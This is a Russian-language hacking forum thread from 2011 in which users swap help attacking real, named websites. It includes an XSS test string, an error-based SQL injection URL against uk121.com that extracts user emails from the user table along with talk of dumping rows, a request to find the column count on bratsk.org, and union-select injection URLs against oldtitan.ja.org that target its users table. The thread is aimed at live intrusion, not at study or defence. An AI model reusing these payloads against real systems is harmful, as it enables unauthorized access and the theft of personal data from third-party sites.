15.01.2011, 00:35
|
|
Участник форума
Регистрация: 08.12.2008
Сообщений: 164
С нами:
9170186
Репутация:
54
|
|
В скрипте не отображается левая скобка "", она заменяется на > и текст который идет после неё отображается нормально.
Других фильтров не заметил.
Как выполнить js код?
|
|
|
15.01.2011, 00:38
|
|
Участник форума
Регистрация: 01.08.2009
Сообщений: 169
С нами:
8830021
Репутация:
113
|
|
AnGeI, попробуй вместо %3e
|
|
|
|
15.01.2011, 00:43
|
|
Участник форума
Регистрация: 09.12.2010
Сообщений: 101
С нами:
8118326
Репутация:
-5
|
|
|
|
|
|
15.01.2011, 16:19
|
|
Участник форума
Регистрация: 08.12.2008
Сообщений: 164
С нами:
9170186
Репутация:
54
|
|
Сообщение от PvgValo
AnGeI
, попробуй вместо %3e
Не выполняется, выводится:
Код:
%3cscript%3ealert(1);%3c/script%3e
|
|
|
|
17.01.2011, 16:10
|
|
Познающий
Регистрация: 06.06.2008
Сообщений: 76
С нами:
9436363
Репутация:
55
|
|
Сообщение от Seravin
Код:
http://www.uk121.com/events_view.php?eid=(select*from+(select+name_const((select+mail+from+user+limit+1),1),name_const((select+mail+from+user+limit+1),1))a)
а вот если организовать дампинг инфы через лимит, то на запросах limit+1000,1 сервак уходит в даун
попробую ка я вывод через user_id
|
|
|
|
17.01.2011, 17:52
|
|
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
С нами:
8663063
Репутация:
226
|
|
он не уходит в даун, браузер в header менять надо, он типа банит или что. А типа банит после того как ты обращаешься к строке которой несуществует. предпологаю что 1000 строки просто нет
|
|
|
|
17.01.2011, 23:38
|
|
Познающий
Регистрация: 10.11.2009
Сообщений: 47
С нами:
8684686
Репутация:
0
|
|
/////
https://forum.antichat.net/threadedpost2518327.html
|
|
|
|
17.01.2011, 23:47
|
|
Познающий
Регистрация: 12.12.2010
Сообщений: 49
С нами:
8114006
Репутация:
0
|
|
Помогите подобрать количество полей
bratsk.org/news.html?page=-1
|
|
|
|
17.01.2011, 23:53
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Сообщение от Lastman
Помогите подобрать количество полей
bratsk.org/news.html?page=-1
Нет там ничего..
|
|
|
|
18.01.2011, 17:51
|
|
Новичок
Регистрация: 19.11.2008
Сообщений: 1
С нами:
9197319
Репутация:
0
|
|
http://oldtitan.ja.org/challenge.php?page=rules&id=1'+order+by+47+--+
http://oldtitan.ja.org/challenge.php?page=rules&id=1'+union+all+select+nu ll,null,null,null,null,nu ll,null,null,null,null,null,null,null,null,null,nu ll,null,null,null,null,null,null,null,null,null,nu ll,null,null,null,null,null,null,null,null,null,nu ll,null,null,null,null,null,null,null,null,null,nu ll,null+from+users+--+
не получается для
http://oldtitan.ja.org/area_admin.php?=id3
плз хэлп, возможно ли что нить сделать?
|
|
|
|
|
 |
|
|
Здесь присутствуют: 4 (пользователей: 0 , гостей: 4)
|
|
|
|
Похожие темы
Комбинированный вид
